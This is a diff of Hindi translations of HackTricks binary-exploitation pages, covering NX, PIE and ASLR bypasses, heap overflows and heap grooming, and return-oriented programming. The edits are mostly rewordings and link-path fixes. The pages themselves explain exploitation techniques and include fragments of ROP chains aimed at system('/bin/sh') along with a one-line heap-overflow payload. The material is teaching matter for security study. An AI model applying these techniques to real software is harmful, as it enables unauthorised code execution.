||||
- **off-by-one** स्टैक ओवरफ्लो के लिए उपयोगी।
|
||||
- मेमोरी में पे लोड बनाने के लिए EIP का दुरुपयोग करते हुए EIP को नियंत्रित करने का एक वैकल्पिक तरीका।
|
||||
- [**स्टैक पिवोटिंग / EBP2Ret / EBP चेनिंग**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): स्टैक में स्टोर किए गए EBP के माध्यम से RET को नियंत्रित करने के लिए ESP को नियंत्रित करें।
|
||||
- **ऑफ-बाय-वन** स्टैक ओवरफ्लोज़ के लिए उपयोगी।
|
||||
- EIP को नियंत्रित करने के लिए एक वैकल्पिक तरीके के रूप में उपयोगी जबकि मेमोरी में पे लोड बनाने के लिए EIP का दुरुपयोग करते हुए और फिर EBP के माध्यम से उस पर कूदना।
|
||||
|
||||
#### Misc
|
||||
#### विविध
|
||||
|
||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में एक फ़ंक्शन के लिए पॉइंटर्स हैं जिसे कॉल किया जाने वाला है या एक स्ट्रिंग के लिए जो एक दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग की जाने वाली है, तो उस पते को ओवरराइट करना संभव है।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) या [**PIE**](../common-binary-protections-and-bypasses/pie/) पते को प्रभावित कर सकते हैं।
|
||||
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) या [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) पते को प्रभावित कर सकते हैं।
|
||||
- [**अनइनीशियलाइज़्ड वेरिएबल्स**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**No-Execute (NX)** बिट, जिसे Intel शब्दावली में **Execute Disable (XD)** के रूप में भी जाना जाता है, एक हार्डवेयर-आधारित सुरक्षा विशेषता है जो **buffer overflow** हमलों के प्रभावों को **कम करने** के लिए डिज़ाइन की गई है। जब इसे लागू और सक्षम किया जाता है, तो यह उन मेमोरी क्षेत्रों के बीच अंतर करता है जो **executables code** के लिए निर्धारित हैं और उन क्षेत्रों के लिए जो **data** के लिए हैं, जैसे कि **stack** और **heap**। इसका मुख्य विचार यह है कि हमलावर को बफर ओवरफ्लो कमजोरियों के माध्यम से दुर्भावनापूर्ण कोड को निष्पादित करने से रोकना है, उदाहरण के लिए, दुर्भावनापूर्ण कोड को स्टैक में डालकर और निष्पादन प्रवाह को इसकी ओर निर्देशित करना।
|
||||
**No-Execute (NX)** बिट, जिसे Intel की शब्दावली में **Execute Disable (XD)** के रूप में भी जाना जाता है, एक हार्डवेयर-आधारित सुरक्षा विशेषता है जो **buffer overflow** हमलों के प्रभावों को **कम करने** के लिए डिज़ाइन की गई है। जब इसे लागू और सक्षम किया जाता है, तो यह उन मेमोरी क्षेत्रों के बीच अंतर करता है जो **executables code** के लिए निर्धारित हैं और उन क्षेत्रों के लिए जो **data** के लिए हैं, जैसे कि **stack** और **heap**। इसका मुख्य विचार यह है कि एक हमलावर को बफर ओवरफ्लो कमजोरियों के माध्यम से दुर्भावनापूर्ण कोड को निष्पादित करने से रोकना है, उदाहरण के लिए, दुर्भावनापूर्ण कोड को स्टैक में डालकर और निष्पादन प्रवाह को इसकी ओर निर्देशित करना।
|
||||
|
||||
## Bypasses
|
||||
|
||||
- यह तकनीकों का उपयोग करना संभव है जैसे कि [**ROP**](../rop-return-oriented-programing/) **इस सुरक्षा को बायपास करने** के लिए पहले से मौजूद बाइनरी में निष्पादनीय कोड के टुकड़ों को निष्पादित करना।
|
||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
- यह तकनीकों का उपयोग करना संभव है जैसे कि [**ROP**](../rop-return-oriented-programing/index.html) **इस सुरक्षा को बायपास करने के लिए** पहले से बाइनरी में मौजूद निष्पादन योग्य कोड के टुकड़ों को निष्पादित करना।
|
||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
|
||||
- **Ret2...**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
एक बाइनरी जिसे PIE, या **पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल** के रूप में संकलित किया गया है, का मतलब है कि **प्रोग्राम हर बार इसे निष्पादित करने पर विभिन्न मेमोरी स्थानों पर लोड हो सकता है**, जिससे हार्डकोडेड पते को रोका जा सकता है।
|
||||
एक बाइनरी जिसे PIE, या **Position Independent Executable** के रूप में संकलित किया गया है, का मतलब है कि **प्रोग्राम हर बार इसे निष्पादित करने पर विभिन्न मेमोरी स्थानों पर लोड हो सकता है**, जिससे हार्डकोडेड पते को रोका जा सकता है।
|
||||
|
||||
इन बाइनरीज़ का शोषण करने का तरीका **सापेक्ष पते** का शोषण करना है—प्रोग्राम के भागों के बीच के ऑफसेट समान रहते हैं भले ही निरपेक्ष स्थान बदल जाए। **PIE को बायपास करने के लिए, आपको केवल एक पता लीक करने की आवश्यकता है**, आमतौर पर **स्टैक** से फॉर्मेट स्ट्रिंग हमलों जैसी कमजोरियों का उपयोग करके। एक बार जब आपके पास एक पता हो, तो आप उनके **फिक्स्ड ऑफसेट्स** द्वारा अन्य का अनुमान लगा सकते हैं।
|
||||
|
||||
@ -23,7 +23,7 @@ PIE को बायपास करने के लिए लोड की ग
|
||||
bypassing-canary-and-pie.md
|
||||
{{#endref}}
|
||||
|
||||
- एक **मनमाना पढ़ने** की कमजोरी का उपयोग करें जैसे कि [**फॉर्मेट स्ट्रिंग**](../../format-strings/) बाइनरी का एक पता लीक करने के लिए (जैसे, पिछले तकनीक की तरह स्टैक से) बाइनरी का बेस प्राप्त करने के लिए और वहां से ऑफसेट्स का उपयोग करें। [**यहां एक उदाहरण खोजें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
- एक **मनमाना पढ़ने** की कमजोरी का उपयोग करें जैसे कि [**फॉर्मेट स्ट्रिंग**](../../format-strings/index.html) बाइनरी का एक पता लीक करने के लिए (जैसे, पिछले तकनीक की तरह स्टैक से) बाइनरी का बेस प्राप्त करने के लिए और वहां से ऑफसेट्स का उपयोग करें। [**यहां एक उदाहरण खोजें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,32 +4,32 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Heap overflow एक [**stack overflow**](../stack-overflow/) की तरह है लेकिन heap में। मूल रूप से इसका मतलब है कि heap में कुछ डेटा स्टोर करने के लिए कुछ स्थान आरक्षित किया गया था और **स्टोर किया गया डेटा आरक्षित स्थान से बड़ा था।**
|
||||
Heap overflow एक [**stack overflow**](../stack-overflow/index.html) की तरह है लेकिन heap में। मूल रूप से इसका मतलब है कि heap में कुछ डेटा स्टोर करने के लिए कुछ स्थान आरक्षित किया गया था और **स्टोर किया गया डेटा आरक्षित स्थान से बड़ा था।**
|
||||
|
||||
Stack overflows में हम जानते हैं कि कुछ रजिस्टर जैसे कि instruction pointer या stack frame को stack से पुनर्स्थापित किया जाएगा और इसे दुरुपयोग करना संभव हो सकता है। Heap overflows के मामले में, **डिफ़ॉल्ट रूप से heap chunk में कोई संवेदनशील जानकारी स्टोर नहीं की गई है** जिसे ओवरफ्लो किया जा सके। हालाँकि, यह संवेदनशील जानकारी या पॉइंटर्स हो सकती है, इसलिए इस भेद्यता की **गंभीरता** **इस पर निर्भर करती है कि** **कौन सा डेटा ओवरराइट किया जा सकता है** और एक हमलावर इसे कैसे दुरुपयोग कर सकता है।
|
||||
Stack overflows में हम जानते हैं कि कुछ रजिस्टर जैसे कि instruction pointer या stack frame को stack से पुनर्स्थापित किया जाएगा और इसे दुरुपयोग करना संभव हो सकता है। Heap overflows के मामले में, **डिफ़ॉल्ट रूप से heap chunk में कोई संवेदनशील जानकारी स्टोर नहीं की जाती** जिसे ओवरफ्लो किया जा सके। हालाँकि, यह संवेदनशील जानकारी या पॉइंटर्स हो सकती है, इसलिए इस भेद्यता की **गंभीरता** **इस पर निर्भर करती है कि** **कौन सा डेटा ओवरराइट किया जा सकता है** और एक हमलावर इसे कैसे दुरुपयोग कर सकता है।
|
||||
|
||||
> [!TIP]
|
||||
> ओवरफ्लो ऑफसेट खोजने के लिए आप [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets) में समान पैटर्न का उपयोग कर सकते हैं।
|
||||
|
||||
### Stack Overflows vs Heap Overflows
|
||||
|
||||
Stack overflows में उस समय stack में मौजूद डेटा और व्यवस्था जब भेद्यता को सक्रिय किया जा सकता है, काफी विश्वसनीय होती है। इसका कारण यह है कि stack रैखिक है, हमेशा टकराते हुए मेमोरी में बढ़ता है, **कार्यक्रम के चलने के विशिष्ट स्थानों पर stack मेमोरी आमतौर पर समान प्रकार के डेटा को स्टोर करती है** और इसमें प्रत्येक फ़ंक्शन द्वारा उपयोग किए जाने वाले stack भाग के अंत में कुछ पॉइंटर्स के साथ कुछ विशिष्ट संरचना होती है।
|
||||
Stack overflows में उस समय stack में मौजूद डेटा और व्यवस्था जो भेद्यता को सक्रिय कर सकती है, काफी विश्वसनीय होती है। इसका कारण यह है कि stack रैखिक है, हमेशा टकराते मेमोरी में बढ़ता है, **कार्यक्रम के चलने के विशिष्ट स्थानों पर stack मेमोरी आमतौर पर समान प्रकार के डेटा को स्टोर करती है** और इसमें प्रत्येक फ़ंक्शन द्वारा उपयोग किए जाने वाले stack भाग के अंत में कुछ पॉइंटर्स के साथ कुछ विशिष्ट संरचना होती है।
|
||||
|
||||
हालांकि, heap overflow के मामले में, उपयोग की गई मेमोरी रैखिक नहीं होती है बल्कि **आरक्षित चंक्स आमतौर पर मेमोरी के अलग-अलग स्थानों में होते हैं** (एक के बगल में नहीं) क्योंकि **bins और zones** आकार के अनुसार आवंटन को अलग करते हैं और क्योंकि **पिछली मुक्त मेमोरी का उपयोग किया जाता है** नए चंक्स को आवंटित करने से पहले। यह **जानना जटिल है कि कौन सा ऑब्जेक्ट उस ऑब्जेक्ट के साथ टकराने वाला है** जो heap overflow के लिए संवेदनशील है। इसलिए, जब एक heap overflow पाया जाता है, तो यह आवश्यक है कि **वांछित ऑब्जेक्ट को मेमोरी में अगले स्थान पर लाने का एक विश्वसनीय तरीका खोजा जाए** जो ओवरफ्लो किया जा सकता है।
|
||||
हालांकि, heap overflow के मामले में, उपयोग की गई मेमोरी रैखिक नहीं होती है बल्कि **आवंटित चंक्स आमतौर पर मेमोरी के अलग-अलग स्थानों में होते हैं** (एक के बगल में नहीं) क्योंकि **आकार द्वारा आवंटन को अलग करने के लिए बिन और ज़ोन** होते हैं और क्योंकि **पिछली मुक्त मेमोरी का उपयोग किया जाता है** नए चंक्स आवंटित करने से पहले। यह **जानना जटिल है कि कौन सा ऑब्जेक्ट उस ऑब्जेक्ट के साथ टकराने वाला है जो heap overflow के लिए संवेदनशील है।** इसलिए, जब एक heap overflow पाया जाता है, तो यह आवश्यक है कि **विश्वसनीय तरीके से वांछित ऑब्जेक्ट को उस मेमोरी में अगला बनाना** जो ओवरफ्लो किया जा सकता है।
|
||||
|
||||
इसका एक तकनीक **Heap Grooming** है जिसका उपयोग उदाहरण के लिए [**इस पोस्ट में**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) किया गया है। पोस्ट में यह समझाया गया है कि जब iOS कर्नेल में एक ज़ोन में मेमोरी खत्म हो जाती है, तो यह इसे एक कर्नेल पृष्ठ द्वारा बढ़ाता है, और यह पृष्ठ अपेक्षित आकार के चंक्स में विभाजित होता है जो क्रम में उपयोग किए जाएंगे (iOS संस्करण 9.2 तक, फिर ये चंक्स इन हमलों के शोषण को कठिन बनाने के लिए यादृच्छिक तरीके से उपयोग किए जाते हैं)।
|
||||
|
||||
इसलिए, पिछले पोस्ट में जहां heap overflow हो रहा है, ओवरफ्लो किए गए ऑब्जेक्ट को एक पीड़ित क्रम के साथ टकराने के लिए मजबूर करने के लिए, कई **`kallocs` को कई थ्रेड्स द्वारा मजबूर किया जाता है ताकि यह सुनिश्चित किया जा सके कि सभी मुक्त चंक्स भरे हुए हैं और एक नया पृष्ठ बनाया गया है**।
|
||||
|
||||
विशिष्ट आकार के ऑब्जेक्ट के साथ इस भराई को मजबूर करने के लिए, **iOS mach port से संबंधित आउट-ऑफ-लाइन आवंटन** एक आदर्श उम्मीदवार है। संदेश के आकार को तैयार करके, `kalloc` आवंटन के आकार को सटीक रूप से निर्दिष्ट करना संभव है और जब संबंधित mach port नष्ट हो जाता है, तो संबंधित आवंटन तुरंत `kfree` पर वापस जारी किया जाएगा।
|
||||
विशिष्ट आकार के ऑब्जेक्ट के साथ इस भरने को मजबूर करने के लिए, **iOS mach port से संबंधित आउट-ऑफ-लाइन आवंटन** एक आदर्श उम्मीदवार है। संदेश के आकार को तैयार करके, `kalloc` आवंटन के आकार को सटीक रूप से निर्दिष्ट करना संभव है और जब संबंधित mach port नष्ट हो जाता है, तो संबंधित आवंटन तुरंत `kfree` पर वापस जारी किया जाएगा।
|
||||
|
||||
फिर, इनमें से कुछ प्लेसहोल्डर्स को **मुक्त** किया जा सकता है। **`kalloc.4096` मुक्त सूची तत्वों को अंतिम-में-प्रथम-निकालने के क्रम में जारी करती है**, जिसका मूल रूप से मतलब है कि यदि कुछ प्लेसहोल्डर्स को मुक्त किया जाता है और शोषण कई पीड़ित ऑब्जेक्ट्स को आवंटित करने की कोशिश करता है जबकि ओवरफ्लो के लिए संवेदनशील ऑब्जेक्ट को आवंटित करने की कोशिश करता है, तो यह संभावना है कि यह ऑब्जेक्ट एक पीड़ित ऑब्जेक्ट द्वारा अनुसरण किया जाएगा।
|
||||
फिर, इनमें से कुछ प्लेसहोल्डर्स को **मुक्त** किया जा सकता है। **`kalloc.4096` मुक्त सूची तत्वों को अंतिम-में-प्रथम क्रम में जारी करती है**, जिसका मूल रूप से मतलब है कि यदि कुछ प्लेसहोल्डर्स मुक्त किए जाते हैं और शोषण कई पीड़ित ऑब्जेक्ट्स को आवंटित करने की कोशिश करता है जबकि ओवरफ्लो के लिए संवेदनशील ऑब्जेक्ट को आवंटित करने की कोशिश करता है, तो यह संभावना है कि यह ऑब्जेक्ट एक पीड़ित ऑब्जेक्ट द्वारा अनुसरण किया जाएगा।
|
||||
|
||||
### Example libc
|
||||
|
||||
[**इस पृष्ठ में**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) एक बुनियादी Heap overflow अनुकरण पाया जा सकता है जो दिखाता है कि अगले चंक के prev in use बिट और prev size की स्थिति को ओवरराइट करके **एक उपयोग किए गए चंक को समेकित करना** (इसे अप्रयुक्त समझाना) और **फिर से इसे आवंटित करना** संभव है जिससे यह डेटा ओवरराइट किया जा सके जो एक अलग पॉइंटर में भी उपयोग किया जा रहा है।
|
||||
[**इस पृष्ठ में**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) एक बुनियादी Heap overflow अनुकरण पाया जा सकता है जो दिखाता है कि अगले चंक के prev in use बिट और prev size की स्थिति को ओवरराइट करके **एक उपयोग किए गए चंक को समेकित करना** (इसे अप्रयुक्त समझाना) और **फिर से आवंटित करना** संभव है, जिससे यह डेटा ओवरराइट किया जा सके जो एक अलग पॉइंटर में भी उपयोग किया जा रहा है।
|
||||
|
||||
[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) से एक और उदाहरण एक बहुत बुनियादी CTF का उदाहरण दिखाता है जहां एक **heap overflow** का दुरुपयोग करके विजेता फ़ंक्शन को **फ्लैग प्राप्त करने के लिए** कॉल किया जा सकता है।
|
||||
[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) से एक और उदाहरण एक बहुत बुनियादी CTF का उदाहरण दिखाता है जहां **heap overflow** का दुरुपयोग करके विजेता फ़ंक्शन को **फ्लैग प्राप्त करने के लिए** कॉल किया जा सकता है।
|
||||
|
||||
[**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) उदाहरण में यह देखा जा सकता है कि एक बफर ओवरफ्लो का दुरुपयोग करके **एक निकट चंक में एक पता ओवरराइट करना** संभव है जहां **उपयोगकर्ता से मनमाना डेटा** लिखा जाएगा।
|
||||
|
||||
@ -39,7 +39,7 @@ Stack overflows में उस समय stack में मौजूद ड
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
### अन्य उदाहरण
|
||||
### Other examples
|
||||
|
||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
- हम Heap Overflow प्राप्त करने के लिए एक Integer Overflow भेद्यता का उपयोग करते हैं।
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## **बुनियादी जानकारी**
|
||||
|
||||
**Return-Oriented Programming (ROP)** एक उन्नत शोषण तकनीक है जिसका उपयोग **No-Execute (NX)** या **Data Execution Prevention (DEP)** जैसी सुरक्षा उपायों को दरकिनार करने के लिए किया जाता है। शेलकोड को इंजेक्ट और निष्पादित करने के बजाय, एक हमलावर बाइनरी या लोड की गई लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का लाभ उठाता है, जिसे **"gadgets"** के रूप में जाना जाता है। प्रत्येक gadget आमतौर पर `ret` निर्देश के साथ समाप्त होता है और एक छोटा ऑपरेशन करता है, जैसे रजिस्टरों के बीच डेटा को स्थानांतरित करना या अंकगणितीय संचालन करना। इन gadgets को एक साथ जोड़कर, एक हमलावर एक payload बना सकता है जो मनचाहे संचालन को निष्पादित करता है, प्रभावी रूप से NX/DEP सुरक्षा को दरकिनार करता है।
|
||||
**Return-Oriented Programming (ROP)** एक उन्नत शोषण तकनीक है जिसका उपयोग सुरक्षा उपायों जैसे **No-Execute (NX)** या **Data Execution Prevention (DEP)** को दरकिनार करने के लिए किया जाता है। शेलकोड को इंजेक्ट और निष्पादित करने के बजाय, एक हमलावर बाइनरी या लोड की गई लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का लाभ उठाता है, जिसे **"gadgets"** कहा जाता है। प्रत्येक gadget आमतौर पर एक `ret` निर्देश के साथ समाप्त होता है और एक छोटा ऑपरेशन करता है, जैसे रजिस्टरों के बीच डेटा को स्थानांतरित करना या अंकगणितीय संचालन करना। इन gadgets को एक साथ जोड़कर, एक हमलावर मनचाहे ऑपरेशन करने के लिए एक पेलोड तैयार कर सकता है, प्रभावी रूप से NX/DEP सुरक्षा को दरकिनार कर सकता है।
|
||||
|
||||
### ROP कैसे काम करता है
|
||||
|
||||
1. **नियंत्रण प्रवाह हाइजैकिंग**: सबसे पहले, एक हमलावर को एक प्रोग्राम के नियंत्रण प्रवाह को हाइजैक करना होता है, आमतौर पर एक बफर ओवरफ्लो का लाभ उठाकर स्टैक पर एक सहेजे गए लौटने के पते को ओवरराइट करके।
|
||||
2. **Gadget चेनिंग**: फिर हमलावर सावधानी से इच्छित क्रियाओं को करने के लिए gadgets का चयन और चेन करता है। इसमें एक फ़ंक्शन कॉल के लिए तर्क सेट करना, फ़ंक्शन को कॉल करना (जैसे, `system("/bin/sh")`), और किसी भी आवश्यक सफाई या अतिरिक्त संचालन को संभालना शामिल हो सकता है।
|
||||
3. **Payload निष्पादन**: जब संवेदनशील फ़ंक्शन लौटता है, तो यह एक वैध स्थान पर लौटने के बजाय gadgets की श्रृंखला को निष्पादित करना शुरू कर देता है।
|
||||
1. **नियंत्रण प्रवाह हाईजैकिंग**: सबसे पहले, एक हमलावर को एक प्रोग्राम के नियंत्रण प्रवाह को हाईजैक करना होता है, आमतौर पर एक बफर ओवरफ्लो का लाभ उठाकर स्टैक पर एक सहेजे गए लौटने के पते को ओवरराइट करके।
|
||||
2. **Gadget चेनिंग**: फिर हमलावर सावधानीपूर्वक इच्छित क्रियाओं को करने के लिए gadgets का चयन और चेन करता है। इसमें एक फ़ंक्शन कॉल के लिए तर्क सेट करना, फ़ंक्शन को कॉल करना (जैसे, `system("/bin/sh")`), और किसी भी आवश्यक सफाई या अतिरिक्त संचालन को संभालना शामिल हो सकता है।
|
||||
3. **पेलोड निष्पादन**: जब कमजोर फ़ंक्शन लौटता है, तो यह एक वैध स्थान पर लौटने के बजाय gadgets की श्रृंखला को निष्पादित करना शुरू कर देता है।
|
||||
|
||||
### उपकरण
|
||||
|
||||
@ -37,7 +37,7 @@
|
||||
**pwntools** का उपयोग करते हुए, हम ROP चेन निष्पादन के लिए स्टैक को इस प्रकार तैयार करते हैं जिसका लक्ष्य `system('/bin/sh')` को निष्पादित करना है, ध्यान दें कि चेन इस प्रकार शुरू होती है:
|
||||
|
||||
1. संरेखण उद्देश्यों के लिए एक `ret` निर्देश (वैकल्पिक)
|
||||
2. `system` फ़ंक्शन का पता (मान लेते हैं ASLR अक्षम है और libc ज्ञात है, अधिक जानकारी [**Ret2lib**](ret2lib/) में)
|
||||
2. `system` फ़ंक्शन का पता (मान लेते हैं ASLR अक्षम है और libc ज्ञात है, अधिक जानकारी के लिए [**Ret2lib**](ret2lib/index.html))
|
||||
3. `system()` से लौटने के पते के लिए प्लेसहोल्डर
|
||||
4. `"/bin/sh"` स्ट्रिंग का पता (system फ़ंक्शन के लिए पैरामीटर)
|
||||
```python
|
||||
@ -77,22 +77,22 @@ p.interactive()
|
||||
|
||||
### **x64 (64-bit) Calling conventions**
|
||||
|
||||
- **System V AMD64 ABI** कॉलिंग कन्वेंशन का उपयोग यूनिक्स-जैसे सिस्टम पर किया जाता है, जहाँ **पहले छह पूर्णांक या पॉइंटर तर्कों को रजिस्टर `RDI`, `RSI`, `RDX`, `RCX`, `R8`, और `R9`** में पास किया जाता है। अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। रिटर्न वैल्यू `RAX` में रखी जाती है।
|
||||
- **Windows x64** कॉलिंग कन्वेंशन पहले चार पूर्णांक या पॉइंटर तर्कों के लिए `RCX`, `RDX`, `R8`, और `R9` का उपयोग करता है, जबकि अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। रिटर्न वैल्यू `RAX` में रखी जाती है।
|
||||
- **System V AMD64 ABI** कॉलिंग कन्वेंशन का उपयोग यूनिक्स-जैसे सिस्टम पर किया जाता है, जहाँ **पहले छह पूर्णांक या पॉइंटर तर्क `RDI`, `RSI`, `RDX`, `RCX`, `R8`, और `R9`** में पास किए जाते हैं। अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। लौटने का मान `RAX` में रखा जाता है।
|
||||
- **Windows x64** कॉलिंग कन्वेंशन पहले चार पूर्णांक या पॉइंटर तर्कों के लिए `RCX`, `RDX`, `R8`, और `R9` का उपयोग करता है, जबकि अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। लौटने का मान `RAX` में रखा जाता है।
|
||||
- **Registers**: 64-बिट रजिस्टर में `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, और `R8` से `R15` शामिल हैं।
|
||||
|
||||
#### **Finding Gadgets**
|
||||
|
||||
हमारे उद्देश्य के लिए, आइए उन गैजेट्स पर ध्यान केंद्रित करें जो हमें **RDI** रजिस्टर सेट करने की अनुमति देंगे (ताकि **system()** के लिए **"/bin/sh"** स्ट्रिंग को तर्क के रूप में पास किया जा सके) और फिर **system()** फ़ंक्शन को कॉल करें। हम मान लेते हैं कि हमने निम्नलिखित गैजेट्स की पहचान की है:
|
||||
हमारे उद्देश्य के लिए, आइए उन गैजेट्स पर ध्यान केंद्रित करें जो हमें **RDI** रजिस्टर सेट करने की अनुमति देंगे (ताकि **system()** को तर्क के रूप में **"/bin/sh"** स्ट्रिंग पास कर सकें) और फिर **system()** फ़ंक्शन को कॉल करें। हम मान लेते हैं कि हमने निम्नलिखित गैजेट्स की पहचान की है:
|
||||
|
||||
- **pop rdi; ret**: स्टैक के शीर्ष मान को **RDI** में पॉप करता है और फिर रिटर्न करता है। **system()** के लिए हमारे तर्क को सेट करने के लिए आवश्यक।
|
||||
- **pop rdi; ret**: स्टैक के शीर्ष मान को **RDI** में पॉप करता है और फिर लौटता है। **system()** के लिए हमारे तर्क को सेट करने के लिए आवश्यक।
|
||||
- **ret**: एक साधारण रिटर्न, कुछ परिदृश्यों में स्टैक संरेखण के लिए उपयोगी।
|
||||
|
||||
और हमें **system()** फ़ंक्शन का पता है।
|
||||
और हम **system()** फ़ंक्शन का पता जानते हैं।
|
||||
|
||||
### **ROP Chain**
|
||||
|
||||
नीचे एक उदाहरण है जो **pwntools** का उपयोग करके **system('/bin/sh')** को **x64** पर निष्पादित करने के लिए ROP चेन सेटअप और निष्पादित करता है:
|
||||
नीचे **pwntools** का उपयोग करके एक उदाहरण दिया गया है जो **system('/bin/sh')** को **x64** पर निष्पादित करने के लिए ROP चेन सेटअप और निष्पादित करता है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -130,17 +130,17 @@ p.interactive()
|
||||
इस उदाहरण में:
|
||||
|
||||
- हम **`pop rdi; ret`** गैजेट का उपयोग करते हैं ताकि **`RDI`** को **`"/bin/sh"`** के पते पर सेट किया जा सके।
|
||||
- **`RDI`** सेट करने के बाद हम सीधे **`system()`** पर कूदते हैं, जिसमें **system()** का पता श्रृंखला में होता है।
|
||||
- हम **`RDI`** सेट करने के बाद सीधे **`system()`** पर कूदते हैं, जिसमें **system()** का पता श्रृंखला में होता है।
|
||||
- यदि लक्षित वातावरण की आवश्यकता हो, तो संरेखण के लिए **`ret_gadget`** का उपयोग किया जाता है, जो **x64** में कार्यों को कॉल करने से पहले उचित स्टैक संरेखण सुनिश्चित करने के लिए अधिक सामान्य है।
|
||||
|
||||
### स्टैक संरेखण
|
||||
|
||||
**x86-64 ABI** सुनिश्चित करता है कि जब **call instruction** निष्पादित होती है, तो **स्टैक 16-बाइट संरेखित** होता है। **LIBC**, प्रदर्शन को अनुकूलित करने के लिए, **SSE निर्देशों** (जैसे **movaps**) का उपयोग करता है जो इस संरेखण की आवश्यकता होती है। यदि स्टैक ठीक से संरेखित नहीं है (जिसका अर्थ है कि **RSP** 16 का गुणांक नहीं है), तो **ROP श्रृंखला** में **system** जैसे कार्यों के लिए कॉल विफल हो जाएंगे। इसे ठीक करने के लिए, अपने ROP श्रृंखला में **system** को कॉल करने से पहले बस एक **ret gadget** जोड़ें।
|
||||
**x86-64 ABI** सुनिश्चित करता है कि जब **call instruction** निष्पादित होती है, तो **स्टैक 16-बाइट संरेखित** होता है। **LIBC**, प्रदर्शन को अनुकूलित करने के लिए, **SSE निर्देशों** (जैसे **movaps**) का उपयोग करता है जो इस संरेखण की आवश्यकता होती है। यदि स्टैक ठीक से संरेखित नहीं है (जिसका अर्थ है कि **RSP** 16 का गुणांक नहीं है), तो **ROP श्रृंखला** में **system** जैसे कार्यों के लिए कॉल विफल हो जाएंगे। इसे ठीक करने के लिए, बस **system** को कॉल करने से पहले अपनी ROP श्रृंखला में एक **ret gadget** जोड़ें।
|
||||
|
||||
## x86 बनाम x64 मुख्य अंतर
|
||||
|
||||
> [!TIP]
|
||||
> चूंकि **x64 पहले कुछ तर्कों के लिए रजिस्टर का उपयोग करता है,** इसलिए यह अक्सर सरल कार्य कॉल के लिए x86 की तुलना में कम गैजेट की आवश्यकता होती है, लेकिन सही गैजेट खोजने और श्रृंखला में जोड़ना अधिक जटिल हो सकता है क्योंकि रजिस्टर की संख्या बढ़ जाती है और पता स्थान बड़ा होता है। **x64** आर्किटेक्चर में रजिस्टर की बढ़ी हुई संख्या और बड़े पता स्थान ने विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में शोषण विकास के लिए अवसर और चुनौतियाँ दोनों प्रदान की हैं।
|
||||
> चूंकि **x64 पहले कुछ तर्कों के लिए रजिस्टर का उपयोग करता है,** इसलिए यह अक्सर सरल कार्य कॉल के लिए x86 की तुलना में कम गैजेट की आवश्यकता होती है, लेकिन सही गैजेट खोजने और श्रृंखला में जोड़ना अधिक जटिल हो सकता है क्योंकि रजिस्टर की संख्या और पता स्थान बड़ा होता है। **x64** आर्किटेक्चर में रजिस्टर की बढ़ी हुई संख्या और बड़े पते के स्थान में शोषण विकास के लिए अवसर और चुनौतियाँ दोनों प्रदान करती हैं, विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में।
|
||||
|
||||
## ARM64 उदाहरण में ROP श्रृंखला
|
||||
|
||||
@ -154,8 +154,8 @@ p.interactive()
|
||||
|
||||
## ROP के खिलाफ सुरक्षा
|
||||
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **और** [**PIE**](../common-binary-protections-and-bypasses/pie/): ये सुरक्षा ROP के उपयोग को कठिन बनाती हैं क्योंकि गैजेट के पते निष्पादन के बीच बदलते हैं।
|
||||
- [**स्टैक कैनरीज़**](../common-binary-protections-and-bypasses/stack-canaries/): BOF के मामले में, ROP श्रृंखला का दुरुपयोग करने के लिए लौटने वाले पॉइंटर्स को ओवरराइट करने के लिए स्टोर स्टैक कैनरी को बायपास करना आवश्यक है।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): ये सुरक्षा ROP के उपयोग को कठिन बनाती हैं क्योंकि गैजेट के पते निष्पादन के बीच बदलते हैं।
|
||||
